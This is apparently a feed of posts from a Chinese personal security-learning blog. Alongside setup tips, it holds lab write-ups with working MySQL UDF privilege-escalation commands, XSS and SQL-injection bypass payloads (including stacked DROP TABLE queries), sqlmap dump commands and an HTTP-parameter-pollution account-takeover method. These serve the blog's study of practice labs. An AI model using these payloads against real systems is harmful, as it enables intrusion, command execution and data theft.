定义

本文章主要解决一个问题：

解决Ubuntu与Windows间无法复制粘贴问题

open-vm-tools 是在 VMware 虚拟机中提供与宿主机交互的工具包，比如：

• 自动调整虚拟机分辨率
• 文件夹共享
• 剪贴板共享（宿主机与虚拟机之间）
• 性能优化等

直接在ubuntu命令行执行以下命令

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sudo apt-get autoremove open-vm-tools //卸载已有的工具 sudo apt-get install open-vm-tools //安装工具open-vm-tools sudo apt-get install open-vm-tools-desktop //安装open-vm-tools-desktop

之后重启即可：

1	sudo reboot

]]> https://hackun.top/2025/08/12/%E8%A7%A3%E5%86%B3Ubuntu%E4%B8%8EWindows%E9%97%B4%E6%97%A0%E6%B3%95%E5%A4%8D%E5%88%B6%E7%B2%98%E8%B4%B4%E9%97%AE%E9%A2%98/ 2025-08-12T07:13:08.165Z

解决Ubuntu与Windows间无法复制粘贴问题

2025-08-12T06:56:09.856Z Hackun Github Pages绑定域名

不经历撕心裂肺的痛苦与筋疲力尽的挣扎，怎能破茧成蝶，实现涅槃重生？

域名注册

进入阿里云官网，先到域名注册页面购买自己心仪的域名

新用户需要进行实名认证，在订单详情页有相关提示进行认证即可，一般10分钟内可审核通过，实名认证成功后，可直接购买域名，选择支付宝支付即可

域名解析

当域名状态显示为 正常 时，开始进行 域名解析，点击右侧操作中的 解析设置 进入云解析 DNS 页面

点击添加记录，添加一条 A 记录和一条 CNAME 记录，填写如下：

附1：主机记录说明

附2：记录类型

特别注意A记录时将域名指向一个IPv4地址，其记录值选择github官方IP：

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185.199.108.153 185.199.109.153 185.199.110.153 185.199.111.153

上面4个随便选一个即可

域名绑定

先Github 仓库的 CNAME 文件中新增一条指令：

前往Github Page已搭建好的仓库中，点击settings→ page→Custom domain 项中添加进行解析后的自定义域名→ 勾选 Enforce HTTPS

这样Github Pages就绑定域名了

你以为这样就好了吗😛。。。。。。

实则不然，你会遇到每次使用hexo deploy部署之后，github page的custom domian自定义域名就会失效

这时，只需在hexo项目的source文件夹下新建CNAME文件，里面填入你的域名，并保存，这样每次hexo deploy后，github page就不会出现域名重置了

]]> https://hackun.top/2025/08/12/Github-Pages%E7%BB%91%E5%AE%9A%E5%9F%9F%E5%90%8D/ 2025-08-12T07:13:08.163Z

Github Pages绑定域名

2025-08-12T06:57:40.745Z Hackun 本文解析Windows环境下的MySQL UDF提权

MySQL UDF提权

Windows环境下

概述

有时候我们通过一些方式获取了目标主机mysql的用户名和密码，并且可以远程连接，我们远程登录上mysql服务器，这时，我们想通过mysql来执行系统命令，此时我们可以考虑UDF进行提权

UDF（User Defined Function）：用户自定义函数，其为MySQL的一个拓展接口，可以使用UDF为MySQL增添一些函数

前提条件

获取mysql控制权限：知道mysql用户名和密码，并且可以远程登录（即获取了mysql数据库的权限）

mysql具有写入文件的权限：mysql有写入文件的权限，即secure_file_priv的值为空

mysql提权获取到的权限大小跟运行mysql所在服务器登录的账号的权限相关，如操作系统以普通用户登录的并启动mysql，经udf提权后也只能获取到系统的普通用户权限。而使用管理员登录操作系统运行mysql，提权后获取的权限则为系统管理员权限

手工提权

查看MySQL是否有写入文件的权限

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mysql> show global variables like '%secure%'; +--------------------------+-------+ | Variable_name | Value | +--------------------------+-------+ | require_secure_transport | OFF | | secure_auth | ON | | secure_file_priv | | +--------------------------+-------+ 3 rows in set, 1 warning (0.00 sec)

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍

• 当secure_file_priv的值为null，表示限制mysqld 不允许导入|导出

• 当secure_file_priv的值为/tmp/，表示限制mysqld 的导入|导出只能发生在/tmp/目录下

• 当secure_file_priv没有具体值时，表示不对mysqld 的导入|导出做限制

如果secure_file_priv的值不是为空，我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数，如果没有的话我们就添加 secure_file_priv = ' '

写入动态链接库

动态链接库就是实现共享函数库概念的一种方式，在Windows环境下后缀名为.dll，在linux环境下后缀名为.so，我们要将该文件放在特定的目录中，该文件中包含了执行系统命令的一些函数

版本	路径
MySQL < 5.0	导出路径随意；
5.0 <= MySQL<= 5.1	需要导出至目标服务器的系统目录（如：c:/windows/system32/或c:/windows）
MySQL > 5.1	必须导出到MySQL安装目录下的lib\plugin文件夹下

查看版本

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mysql> select version(); +-----------+ | version() | +-----------+ | 5.7.26 | +-----------+ 1 row in set (0.00 sec)

查看plugin所在目录

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mysql> show variables like '%plugin%'; +-------------------------------+----------------------------------------------------+ | Variable_name | Value | +-------------------------------+----------------------------------------------------+ | default_authentication_plugin | mysql_native_password | | plugin_dir | D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ | +-------------------------------+----------------------------------------------------+ 2 rows in set, 1 warning (0.01 sec)

虽然plugin目录不存在但是这里会显示出来

我这边版本大于5.7.26，所以放在/lib/plugin下，但需要手动创建，网上说可以结合ntfs特性实现用MySQL创建文件夹，但是我这边尝试失败，为了实验需要，我自己创建一个plugin文件夹

查看系统架构

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mysql> show variables like '%compile%'; +-------------------------+--------+ | Variable_name | Value | +-------------------------+--------+ | version_compile_machine | x86_64 | | version_compile_os | Win64 | +-------------------------+--------+ 2 rows in set, 1 warning (0.00 sec)

如上显示mysql是64位，操作系统是x86_64

这里我们上传64位的dll文件

直接写入16进制数据：

MySQL UDF提权16进制查询 | Ziekun

创建自定义函数

上传之后，使用如下命令创建自定义函数

1	create function sys_eval returns string soname 'udf.dll';

只有两个变量：

• 一个是函数名，我们引入的函数是 sys_eval
• 一个是共享包名称，即 udf.dll

注意：自定义函数并不是随便命名的，其名称要dll文件中我们自定义函数名称一样

然后使用命令查看是否新增sys_eval函数

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mysql> select * from mysql.func; +----------+-----+---------+----------+ | name | ret | dl | type | +----------+-----+---------+----------+ | sys_eval | 0 | udf.dll | function | +----------+-----+---------+----------+ 1 row in set (0.00 sec)

执行系统命令

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mysql> select sys_eval('whoami'); +----------------------+ | sys_eval('whoami') | +----------------------+ | laptop-fiogpvd7\asus | +----------------------+ 1 row in set (0.62 sec)

删除自定义函数

1	drop function sys_eval;

UDF shell

假设目标 MySQL 在内网情况下，无法直连 MySQL 或者 MySQL 不允许外连，这个时候一些网页脚本就比较方便好用了

t00ls UDF.PHP 简单方便，一键 DUMP UDF 和函数，操作门槛降低了很多

使用时将udf.php放在WWW目录下，访问127.0.0.1/udf.php，登录后：

也可以用Navicat MySQL

中文字符编码问题

在中文Windows系统环境下，cmd.exe默认使用GBK字符集进行输入输出处理，这意味着：

• 从数据库传递给cmd的命令参数必须是GBK编码
• cmd执行结果的输出也是GBK编码
• 如果字符集不匹配，就会出现乱码或命令执行失败

输出结果编码错误

在中文Windows环境下MySQL UDF提权中，最常见的问题是执行结果的编码问题：

1	select sys_eval('dir F:\\');

对应的解决办法很简单，udf函数外加一层编码转化的函数

1	select convert(sys_eval('dir F:\\') using gbk);

命令中非ASCII字符处理

当命令参数包含中文，由于MySQL输入会根据默认字符集(utf8mb4/latin1)编码对应的命令进入命令行解释器

1	select convert(sys_eval('dir F:\\黑子') using gbk);

发现中文消失不见了，如何解决呢？

16进制编码

使用CyberChef将命令转换为对应编码的十六进制

然后使用十六进制替代原有的字符串，防止MySQL因为默认编码问题导致的含有中文命令执行错误问题

注意：16进制编码时不用多加个\进行转义

1	select convert(sys_eval(0x64697220463a5cbadad7d3) using gbk);

编码函数

既然又是编码问题，那再次使用MySQL的编码转化的函数不就好了吗？何必转成16进制这么麻烦

1	select convert(sys_eval(convert('dir F:\\黑子' using gbk)) using gbk);

参考：

Mysql之UDF提权 | 白泽

MySQL UDF提权执行系统命令 | 白泽

MySQL 漏洞利用与提权 | 国光

Sql注入-Windows下利用udf提权

利用MySQL UDF进行的一次渗透测试

数据库提权中的字符集挑战 | Wells

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本文解析Windows环境下的MySQL UDF提权

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2025-08-08T03:20:02.954Z Hackun 本文提供UDF提权中dll文件查询使用

MySQL UDF提权16进制查询

Windows

Linux

lib_mysqludf_sys_32.dll

1

SELECT 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INTO DUMPFILE 'D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll';

lib_mysqludf_sys_64.dll

1

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INTO DUMPFILE 'D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll';

lib_mysqludf_sys_32.so

1

SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

lib_mysqludf_sys_64.so

1

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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

]]> https://hackun.top/2025/08/06/MySQL-UDF%E6%8F%90%E6%9D%8316%E8%BF%9B%E5%88%B6%E6%9F%A5%E8%AF%A2/ 2025-08-06T07:43:16.474Z

本文提供UDF提权中dll文件查询使用

]]>

2025-08-07T02:47:22.762Z Hackun 解决Windows端口占用问题

我在搭建靶场时发现总有些端口被占用，作为一名计算机小白，这让我苦恼万分，于是我上网查找解决方法，下面的方法是亲测有效的

以解决8700端口为例：

使用命令查看8700端口被哪个进程占用

1	netstat -ano | findstr 8700

我们看到28076这个进程被监听了，我们可以看一下线程具体任务

1	tasklist | findstr 28076

我们看到是被httpd程序占用，可以直接去任务管理器强制关闭，但是我们通常跳过这一步直接执行下面的命令

1	taskkill /pid 28076 /f

因此关闭端口实际上只需要2步：查找端口对应的pid——>杀死该pid

]]> https://hackun.top/2025/07/29/%E8%A7%A3%E5%86%B3Windows%E7%AB%AF%E5%8F%A3%E5%8D%A0%E7%94%A8%E9%97%AE%E9%A2%98/ 2025-07-29T08:26:05.991Z

解决Windows端口占用问题

我在搭建靶场时发现总有些端口被占用，作为一名计算机小白，这让我苦恼]]>

2025-07-29T08:25:50.854Z Hackun xss-labs

level2

先用基础payload：

1	<script>alert(1)</script>

查看网页源码：

说明服务端对用户输入做了转义（< 变成了 &lt）

查看题目源代码：

发现

1	htmlspecialchars($str)

能将一些特殊的 HTML 字符转换为 HTML 实体

字符	转换为
&	&
<	&lt;
>	&gt;
"	&quot;
'	&#039; （当 ENT_QUOTES 被设置时）
	&nbsp;

我们可以直接闭合input标签进行绕过

1	"><script>alert(1)</script>

level3

还是先用：

1	<script>alert(1)</script>

查看网页源代码：

发现表单内的和h2标签的都被转义了

查看源代码：

1 2 3 4

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 />

单引号虽然存在实体&apos但是不被转义（未设置ENT_QUOTES），HTML5中预留但是也不推荐使用

先闭合value，再引入鼠标事件的属性(最常与 <input>、<select> 和 <a> 标签一起使用)：
onclick onfocus onmouseover onmouseout

再闭合javascript伪协议来执行

1 2 3 4

' onclick=javascript:alert(1) ' //点击input标签时 ' onfocus=javascript:alert(1) ' //聚焦input标签时 ' onmouseover=javascript:alert(1) ' //进入input标签时 ' onmouseout=javascript:alert(1) ' //移出input标签时

总结：onfocus可以绕过html实体化(即<>号的过滤)

level5

依旧<script>alert(1)</script>开局，script变成scr_ipt，再试试鼠标事件，on变成o_n

源代码：

过滤了js的标签还有onfocus事件，虽然str_replace不区分大小写，但是有小写字母转化函数，所以就不能用大小写法来绕过过滤了，只能新找一个方法进行xss注入

这里可以使用<a>标签的href属性

payload：

1	"><a href=javascript:alert(1)>1</a><"

点击链接就可以了

level6

这题替换的关键字比上题多，但是没有添加小写转化函数，我们可以采用大小写绕过

level7

不难发现，这里面进行了小写转化，将检测出来的on，script，href，src和data给删掉了，但是我们可以利用双写来绕过

比如下面这个payload：

1	"><scriscriptpt>alert(1)</scriscriptpt>

level8

是把传入的字符串进行转小写之后进行一系列过滤操作，最后将字符写入a标签的href属性中，跳转链接

我们能利用href的隐藏属性自动Unicode解码，我们可以插入一段js伪协议

1	javascript:alert()

利用在线工具进行Unicode编码后得到

1	javascript:alert()

总结： href属性自动解析Unicode编码

level9

下面多了个strpos()函数的验证，输入字符串必须包含http://

payload1：

将http://用注释符注释掉否则会执行不了无法弹窗

1	javascript:alert()/* http:// */

payload2：

将http://写在alert内

1	javascript:alert('http://')

总结：插入指定内容（本关是http://）绕过检测

level10

这里有隐藏的传参方法，如果没有后端代码，就查看页面源代码一个一个测，这里是get传参t_sort，并过滤掉了<>号，不能闭合插入标签，但是我们还能用onfocus事件，因为这里输入框被隐藏了，需要添加type="text"，构造payload：

1	?t_sort=" onfocus=javascript:alert() type="text

这里input标签内将会出现两个type属性，浏览器通常会判定第一个出现的值作为最终的值

level11

先看参数t_sort，想通过覆盖type属性的值就要闭合双引号，就会被转义，是行不通的，那就通过t_ref参数，修改ref头来进行xss

level15

其中：

1	<span class="ng-include:'.htmlspecialchars($str).'">

ng-include类似于php的文件包含

ng-include 指令用于包含外部的 HTML文件，包含的内容将作为指定元素的子节点，ng-include 属性的值可以是一个表达式，返回一个文件名，默认情况下，包含的文件需要包含在同一个域名下

特别值得注意的几点如下：

• ng-include,如果单纯指定地址，必须要加引号
• ng-include,加载外部html，script标签中的内容不执行
• ng-include,加载外部html中含有style标签样式可以识别
• ng-inclue,记载外部html中的link标签可以加载

我们先试试看包涵第一关，构建payload：

1	?src='/level1.php'

注意，这里不能包涵那些直接弹窗的东西如<script>，但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等，这些标签是能需要我们手动点击弹窗的

1 2 3 4

?src='level1.php?name=<a href='javascript:alert(1)'>xss</a>'//错误的，自己看着点单双引号 ?src='level1.php?name=<a href="javascript:alert(/xss/)">'//正确的 ?src='level1.php?name=<img src=1 onerror=alert(1)/>'//错误的，不要加'/' ?src='level1.php?name=<img src=1 onerror=alert(1)>'//正确的

总结：ng-include文件包涵，可以无视html实体化

level16

将script、 、/转化为空格的html实体化形式，可以用回车的URL编码%0a代替空格绕过，再配合上不用/的<img>、<svg>等标签

payload：

1	?keyword=<img%0asrc=1%0aonerror=alert(1)>

参考：
XSS-potatowo

xss-labs靶场实战全通关详细过程（xss靶场详解）

]]> https://hackun.top/2025/07/28/xss-labs/ 2025-07-28T13:17:00.854Z

xss-labs

sqli-labs

Less-17

基于报错注入的加强版

测试注入点时发现无论如何都没反应，只出现上图情况，当用户名为‘ admin ’或‘ Dumb ’时任意密码登录

发现密码会被更新

既然是修改密码，后端一定存在update语句，修改的是password，猜测传入的password存在引号闭合

发现确实为'闭合

用报错注入查库，查表，查列，查数据

但是当要查表时出现下述问题

payload：

1	1'and updatexml(1, concat(0x7e, (select group_concat(username,id,password) from users)),1) #

查了一下才知道mysql修改和查询不能是同一张表

所以我们可以引入一个临时表

payload：

1	1'and updatexml(1, concat(0x7e, (select group_concat(username,id,password) from (select username,id,password from users) as ikun limit 0,1)),1) #

但是当我们用limit 1,1时，出现了问题，后来才意识到group_concat是将数据放到一行输出，不能与limit结合查询（只能查一行/部分）

我们进而用mid

payload：

1	1'and updatexml(1, concat(0x7e, mid((select group_concat(username,id,password) from (select username,id,password from users) as ikun ),1,21)),1)#

也可以用concat_ws代替group_concat

payload:

1	1' and updatexml(1,concat(0x7e,(select concat_ws(':',username,id,password) from (select username,id,password from users) as ikun limit 1,1)),1)#

Less18

基于user-agent的http头注入

用admin登录看到user-agent的内容回显在页面中

先尝试用',出现报错信息，其包含ip和用户名（当然也有user-agent）

猜想在数据中的sql语句为：INSEERT INTO table VALUES('User-Agent','Ip','Username')

(当然我也是看了后端代码才知道的，因为缺乏经验哈哈哈)

用')闭合

加个#，报错信息消失，说明为')闭合

接下来我们尝试在User-Agent的位置进行注入测试，我们修改User-Agnet的值使其符合整个INSERT INTIO 的语法

构造1',1,1)#形式进行报错注入

payload1：

1	1',1,extractvalue(0x0a,concat(0x0a,(select database()))))#

也可以构造'and ...and '#

payload2:

1	' and extractvalue(0x0a,concat(0x0a,(select database()))) and '#

解释一下上述paylaod

插入语句中变成：

1	'' and extractvalue(...) and '#'

这是一个合法的布尔表达式，MySQL会自动将它的最终值转换为·字符串插入到表中

''=true

extractvalue(...) 返回字符串（我们在乎的是它会抛出错误）

’#'=true（#不是起注释作用）

最终变成：

1	INSERT INTO table VALUES(<表达式结果>, 'Ip', 'Username');

Less20

基于Cookie的http头注入

用admin登录后出现以下界面

1	Cookie：uname=admin

Cookie这里存在注入点

尝试用'进行闭合，出现语法报错，加#后页面正常，说明闭合方式为',看到页面有3个可能的回显点，我先尝试一下联合查询注入

先判断出有3列

再找出回显位

最后用正常方法即可得到数据

Less23

注释符全被过滤掉了

单引号闭合时报错

加上注释符时报错未消失

猜测注释符可能被过滤掉了（尝试编码绕过也不行）

过滤了注释符并不能影响我们的注入，可以使用两个单引号分别闭合两侧的 Sql 查询语句，同时需要使用 OR 运算符分割并构造恒真语句

payload：

1	?id=1' or '1'='1

成功力！

这样就可以开始查询数据库了

payload：

1 2 3

?id=1'and updatexml(1,concat(1,(select database())),1) or '1'='1 # 或者用and '闭合后面的引号也行(这里是报错注入所以就不用太在意and、or逻辑关系) ?id=1' and extractvalue(1,concat(1,(select database()))) and '

Less26

过滤了and、or、空格、注释符

and、or可以通过双写绕过，注释符过滤绕过可以通过闭合后引号解决

测试闭合方式（请教了土豆学长才知道）

先用

1	1'anandd'1'='1

再用

1	1'anandd'1'='2

若网页回显不同说明是单引号闭合

空格过滤我尝试了url编码、/**/绕过发现行不通

去网上捣鼓一番，收获颇丰！

如果空格被过滤可以使用以下字符替代

1	%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)，%0c(换页符)，%20(空格)，/**/(内联注释)

我发现还可以用()进行绕过

payload：

1	?id=1'anandd(extractvalue(1,concat(1,(select(database())))))oorr'1'='1

还有个神仙做法：

用使用 “||” 替代 “or”

payload：

1	?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))||'1'='1

Less27a

过滤了select、union、空格、注释符

双引号闭合

没有语法报错，不能用报错注入，我们选择联合查询注入

由于-被过滤，我们选一个较大的数

接下去正常绕过查询

Less29

单引号闭合，http参数污染

这里应该是我的靶场出了点问题，竟然没过滤（都是Protected By The World’s Best Firewall，但是可以正常查询）

去看了题目的源码，发现还有login.php和hacked.php代码

只能手动进入login.php

测试了下单引号双引号闭合，都跳转到hacked.php

看了下login.php：

WAF白名单函数whitelist($input)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

//WAF implimentation with a whitelist approach..... only allows input to be Numeric. function whitelist($input) { $match = preg_match("/^\d+$/", $input); if($match) { //echo "you are good"; //return $match; } else { header('Location: hacked.php'); //echo "you are bad"; } }

其中：

1	$match = preg_match("/^\d+$/", $input);

/^\d+$/ 的含义：

• ^：字符串开头
• \d+：至少一个数字
• $：字符串结尾

整个正则要求 输入必须是全数字组成

1	header('Location: hacked.php')

重定向到hacked.php

HTTP 参数污染（HPP） 行为模拟 java_implimentation($query_string)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution). function java_implimentation($query_string) { $q_s = $query_string; $qs_array= explode("&",$q_s); foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=="id") { $id_value=substr($value,3,30); return $id_value; echo "<br>"; break; } } }

该方法将 GET 读入的整行参数使用 explode() 方法对 “&” 进行分割，返回一个分割后的数组。接着方法通过 substr() 方法提取对 “&” 分割后的第一个元素的前 2 个字符，若这 2 个字符是 “id”，则再次使用 substr() 方法提取等号后面的值返回。注意该方法提取的是 2 个同名变量中的第一个，因此它无法对第二个同名变量进行操作

结合网页给的pdf(这个我打不开，嫖了一下土豆哥的)

可以看到搭建在apache服务器上的php服务对于传入多个相同名字的参数，服务器只解析最后一个，由于注入 2 个同名参数时，java_implimentation() 方法返回的参数是第一个 id 参数，此时这个过滤就被我们绕过了，所以$_GET['id']变量实际上是最后一个id参数

总结：

1.全数字输入才能绕过WAF

2.我们可以通过注入两个同名的参数 id，第一个参数用于绕过 WAF，第二个参数用于注入

payload：

1	?id=1&id=-1'union select 1,2,3--+

Less32

宽字节注入

输入'发现其被转义

查看源码：

1 2 3 4 5 6 7 8

function check_addslashes($string) { $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backsla return $string; }

该函数使用正则表达式匹配字符，将 ' 转义为 \' ， 将 \ 转义为 \\ ，将 " 转义为 \"

在Less36中采取：

1 2 3 4 5

function check_quotes($string) { $string = mysql_real_escape_string($string); return $string; }

使用mysql_real_escape_string()函数来转义特殊字符

对于一般的转义字符，我们是无法构造注入的 payload 的，通常情况下不存在SQL注入，但这并不代表网页就没有任何漏洞可以注入

我们注意到数据库采用gbk编码：

1 2 3

mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql);

这里尝试采用宽字节注入：

数据库的编码采用 GBK 国标码时，虽然单引号还是会加上反斜杠从而被转义，但是 “%df” 会和反斜杠的 URL 编码 “%5C” 闭合，从而构成 GBK 国标码中的汉字“連”，使得用于转义的反斜杠被我们“吃掉”了

输入%df'时成功返回错误信息，加--+页面正常，绕过成功

我们采用联合查询注入，但需要注意的是：

不要使用单引号来闭合字符串，改用十六进制 (HEX) 编码（网页有提示）替代所需数据库名、表名

如以下使用0x7365637572697479替代security

Less38

单引号闭合，这题主要用来测试堆叠注入

在源码中发现：

1	mysqli_multi_query($con1, $sql)

该函数可以执行多个 MySQL 语句。之前的 Less 使用的是 mysql_query() 函数，只执行一条 MySQL 查询

插入新用户ikun：

查询id为999的用户：

堆叠注入：

1 2 3 4

?id=1;CREATE TABLE WhiteMoon LIKE users;--+ ?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+ ?id=1;DELETE FROM WhiteMoon;--+ ?id=1;DROP TABLE WhiteMoon;--+

]]> https://hackun.top/2025/07/28/sqli-labs/ 2025-07-28T13:17:00.852Z

sqli-labs

HTTP参数污染

在刷sqli-labs 29时遇到了http参数污染，就想着趁火打劫来学习一下

HTTP Parameter Pollution，简称HPP，是一种注入型漏洞，如果Web应用中存在这样的漏洞，可以被攻击者利用来进行客户端或者服务器端的攻击，通过 HPP 参数污染可以实现绕过 waf 来进行攻击

漏洞原理

浏览器与服务器进行交互时，浏览器提交 GET/POST 请求参数，这些参数会以 “名称-值对” 的形式出现。通常在一个请求中，同样名称的参数只会出现一次，但是在 HTTP 协议中是允许同样名称的参数出现多次的

但不同服务器处理方式会不一样

如Goole和Bing的例子：

Goole将两次输入的参数值进行拼接（未覆盖）

Bing将第二次输入覆盖第一次输入

覆盖方式

WAF绕过

HPP其实严格意义上讲并不属于一种漏洞，它是利用了不同服务器对于参数获取的结果不同而导致了可以利用某些漏洞。HPP的特性让它在 WAF 绕过、逻辑漏洞挖掘上具有奇效

SQL绕过

如：

1 2	?id=1&id=-1 union select 1,2,database() ?id=-1&id=%20union%20&id=select%201,2&id=,database()

XSS绕过（待）

文件上传（待）

逻辑漏洞

HPP 参数污染在逻辑漏洞挖掘中也是一个大杀器

任意URL跳转

https://www.example.com?u=https://hackun.com ，由于后端做了限制，当我们把u 改成别的不同源的域名(如https://ikunmma.com)时会报错，但是我们可以利用HPP，将请求地址变成https://www.example.com?u=https://hackun.com&u=https://ikunmma.com 时，由于服务器逻辑错误
使用第一个u做校验参数，而第二个u参数做跳转目的地址。于是这样便可成功绕过限制，形成任意 URL 跳转

任意密码重置（短信爆破）

一般重置密码的时候，会发送短信到用户手机
比如GET/POST传递的参数为：phone=13888888888
我们一般会去想，能不能发送验证码到自己的手机，于是可以构造成： phone=13888888888,12345678901 或者 phone=13888888888;12345678901 或者 phone={13888888888,12345678901}
等等一些情况，有时候能通过，但是有些时候会出现 号码不合法 的情况，此时便可以考虑利用 HPP —— phone=13888888888&phone=12345678901，如果恰好服务器用第一个号码验证是否存在该用户，而使用第二个号码发送短信时，我们便可以接管该用户

防御

1. 设备层面，让WAF或其他网关设备（比如IPS）在检查URL时，对同一个参数被多次赋值的情况进行特殊处理。由于HTTP协议允许相同参数在URL中多次出现，因此这种特殊处理需要注意避免误杀的情况；
2. 代码层面，编写WEB程序时，要通过合理的$_GET方法获取URL中的参数值，而尝试获取 Web服务器返回给程序的其他值时要慎重处理，结合其他漏洞的产生进行组合排查

例题

sqli-labs 29

单引号闭合，http参数污染

这里应该是我的靶场出了点问题，竟然没过滤（都是Protected By The World’s Best Firewall，但是可以正常查询）

去看了题目的源码，发现还有login.php和hacked.php代码

只能手动进入login.php

测试了下单引号双引号闭合，都跳转到hacked.php

看了下login.php：

WAF白名单函数whitelist($input)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

//WAF implimentation with a whitelist approach..... only allows input to be Numeric. function whitelist($input) { $match = preg_match("/^\d+$/", $input); if($match) { //echo "you are good"; //return $match; } else { header('Location: hacked.php'); //echo "you are bad"; } }

其中：

1	$match = preg_match("/^\d+$/", $input);

/^\d+$/ 的含义：

• ^：字符串开头
• \d+：至少一个数字
• $：字符串结尾

整个正则要求 输入必须是全数字组成

1	header('Location: hacked.php')

重定向到hacked.php

HTTP 参数污染（HPP） 行为模拟 java_implimentation($query_string)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution). function java_implimentation($query_string) { $q_s = $query_string; $qs_array= explode("&",$q_s); foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=="id") { $id_value=substr($value,3,30); return $id_value; echo "<br>"; break; } } }

该方法将 GET 读入的整行参数使用 explode() 方法对 “&” 进行分割，返回一个分割后的数组。接着方法通过 substr() 方法提取对 “&” 分割后的第一个元素的前 2 个字符，若这 2 个字符是 “id”，则再次使用 substr() 方法提取等号后面的值返回。注意该方法提取的是 2 个同名变量中的第一个，因此它无法对第二个同名变量进行操作

搭建在apache服务器上的php服务对于传入多个相同名字的参数，服务器只解析最后一个，由于注入 2 个同名参数时，java_implimentation() 方法返回的参数是第一个 id 参数，此时这个过滤就被我们绕过了，所以$_GET['id']变量实际上是最后一个id参数

总结：

1.全数字输入才能绕过WAF

2.我们可以通过注入两个同名的参数 id，第一个参数用于绕过 WAF，第二个参数用于注入

payload：

1	?id=1&id=-1'union select 1,2,3--+

参考：

HTTP参数污染学习

Bypass WAF之HTTP参数污染(HPP)漏洞挖掘

]]> https://hackun.top/2025/07/21/HTTP%E5%8F%82%E6%95%B0%E6%B1%A1%E6%9F%93/ 2025-07-21T14:49:56.174Z

HTTP参数污染

在刷sqli-labs 29时遇到了http参数污染，就想着趁火打劫来学习一下

H]]>

2025-07-21T14:49:35.510Z Hackun 年少不知docker难，初学已是docker人

初探Docker

docker官方安装网站

汉化

下载对应版本中文语言包：

DockerDesktop-CN

找到docker安装目录，备份并替换asar文件

\Docker\Docker\frontend\resources

重启软件后即可出现汉化界面

构造镜像时报错处理

1	ERROR [internal] load metadata for docker.io

这里采用更换镜像源的方法

在Docker 引擎中json文件加入：

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

"registry-mirrors": [ "https://docker.registry.cyou/", "https://docker-cf.registry.cyou/", "https://dockercf.jsdelivr.fyi/", "https://docker.jsdelivr.fyi/", "https://dockertest.jsdelivr.fyi/", "https://mirror.aliyuncs.com/", "https://dockerproxy.com/", "https://mirror.baidubce.com/", "https://docker.m.daocloud.io/", "https://docker.nju.edu.cn/", "https://docker.mirrors.sjtug.sjtu.edu.cn/", "https://docker.mirrors.ustc.edu.cn/", "https://mirror.iscas.ac.cn/", "https://docker.rainbond.cc/", "https://jq794zz5.mirror.aliyuncs.com" ]

再用docker info命令查看是否生效

]]> https://hackun.top/2025/07/17/%E5%88%9D%E6%8E%A2Docker/ 2025-07-17T09:03:19.816Z

年少不知docker难，初学已是docker人

]]>

2025-07-17T09:05:36.468Z Hackun sqlmap自动注入

常用参数

-u：扫描目标url

--batch：自动处理提示信息

--cookie：附加cookie参数

获取当前数据库名：

--current-db：查询当前web使用的数据库名

-D：应用指定数据库

获取表名：

--tables：查询指定库下所有表名（先用-D指定库名）

-T：应用指定表

获取字段：

--columns：查询指定表下所有字段（先用-T指定名）

-C：应用指定字段名

获取数据：--dump

GET传参注入

1 2 3 4 5 6 7 8 9 10 11 12

基本的SQL注入检测,可以检测注入点以及可注入类型 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch 查看所有数据库 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch --dbs 查看当前使用的数据库 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch --current-db 查看表名 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch -D security --tables 查看表中的字段 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch -D security -T users --columns 查看字段中的数据 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch -D security -T users -C id,username,password --dump

POST传参注入

先用Bp抓包，然后保存抓取的内容到文件之中（我是保存在C:/Users/ASUS/Desktop/1.txt）

之后直接用sqlmap

-r：指定文件路径,从指定文件中读取HTTP请求

-p ：指定参数名 ，不加p参数会自动检测注入点,也可以得到结果,指定注入参数名的话执行速度更快

1 2 3 4 5 6 7 8 9 10

